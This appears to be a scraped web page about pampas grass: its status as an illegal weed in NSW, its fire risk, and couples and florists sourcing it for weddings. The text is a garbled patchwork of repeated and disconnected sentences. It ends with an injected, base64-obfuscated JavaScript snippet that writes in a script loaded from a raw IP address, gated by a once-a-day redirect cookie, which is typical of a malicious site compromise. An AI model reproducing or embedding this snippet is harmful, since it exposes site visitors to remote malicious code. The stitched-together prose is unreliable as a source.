Land managers mitigate the risk of the plant being introduced to their land. 2. Perennial ragweed is a State prohibited weed. It’s great to see such an influential local company doing their bit to spread the word and make a stand on environmental issues that affect us all.”. More cost-effective for the couple as it cuts down on the delivery process from interstate or overseas—and, of course, flower miles. Garden plants are often the source of new infestations. While once in fashion in Britain, Pampas grass is nothing but a pesky weed in Australia. Many brides were demanding florists sell the banned plants for … “Initially, back in Dec 2016 when we were planning with Emma and Matt, we couldn’t easily locate any Australian-grown Pampas Grass as it really wasn’t all that popular for weddings at the time. Perennial ragweed is not found in Victoria, but there are established populations in NSW that remain a threat. It’s also a fire hazard and helps to harbour vermin (eek!). So, not only do locally sourced varieties look beautiful in the context of their setting; but they can save costs and support the local community—talk about a double-win! The plants can produce up to100,000 seeds per flower head, and these seeds can spread to a 25 km radius in the wind. is it illegal to cut pampas grass. Land managers reduce the impact on priority assets. Some couples listen, but many just go and find a florist who'll provide pampas, legal or not. Pampas grass is native to South America and is considered a weed in most Australian states and territories as it competes with native vegetation and is a fire hazard. Pampas grass, though widely available in florists worldwide, is actually an invasive noxious weed that threatens native Australian species, harbours vermin and presents a huge fire risk. Slash back the sharp leaves of large tussocks before grubbing out to remove all rhizomes. Flower heads occur in summer with each plume producing up to 100,000 seeds. A. Maguire. As luck would have it, Cyclone Debbie coincided with when the product was scheduled to arrive, causing just a little bit of associated anxiety!”, “Then, as we guessed would happen, the product was stopped in customs and The Department of Agriculture notified us that the product would require irradiation treatment before it could be released. Big thanks to Jaala and Kelley of Bower Botanicals for sharing their knowledge with us, and to Che and the team at Byron Bay Weddings for spreading the word about this important environmental message. The plant should not be bought, sold, grown, carried or released into the environment. Pampas grass is illegal in NSW because it's a fire hazard and damages vegetation. However, it’s not all doom and gloom—as we saw in Emma and Matt’s wedding, there are sustainable ways to source this controversial botanical specimen. Agriculture and ecology bodies are very conscious of ensuring the area isn’t re-infected with this introduced species as it could cause major damage to the ecosystem—as are we.” Search ‘pampas grass’ on Pinterest and you’ll be inundated with images of how well it’s used to create height, texture and drama to wedding installations, often alongside dried palms (as featured above). 3. This week floral style blogger, Kyla Helgeson, guides us through the most romantic of the new wedding trends, styling with pampas grass. There's no such thing as legal pampas grass in NSW – no matter where it comes from or how it's been treated, it's illegal and anyone caught buying, selling or growing it can face a hefty fine. (ABC North Coast: Julie Ray) Rous County Council's Kim Curtis said under the Biosecurity Act it was still illegal to sell pampas grass on the NSW north coast even if it had been irradiated because it was impossible to tell which plants had been treated. We’re sold. Kelley explains, “Upon choosing your wedding florist—or, even in the research phase—you can absolutely ask your florist where they generally source their flowers from, or specific varieties you’re partial to for your wedding.”, “If sustainability is of the utmost importance to you, ask your florist what is available to them locally to create the style you are wanting for your wedding—work with your florist to create this outcome, and use organic florals where possible.”, Jaala says, “by incorporating as many locally grown and sourced flowers and foliage. Pampas grass is native to South America and is considered a weed in most Australian states and territories as it competes with native vegetation and is a fire hazard. Sun. It’s also been a popular choice amongst couples wanting to stick to a neutral colour scheme. Every once in a while, clumps of pampas grass form smaller clumps off to the side. Since publishing the feature, together with the kind folk over at Byron Bay Weddings, we’ve uncovered some seriously scary insights about the use of Pampas Grass and the threat it poses to our natural environment. It has numerous fluffy seedheads with sharp, cutting leaves 1-2m long. Recent wedding flower trends have seen a huge increase in the popularity of Pampas Grass. Flower heads occur in summer with each plume producing up to 100,000 seeds. Pampas Grass Wedding Ceremony Arbour, Photography by Koby Brown. Pampas grass is a nonnative species used in ornamental plantings in Washington and is a known invasive species in California and is escaped in Oregon. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('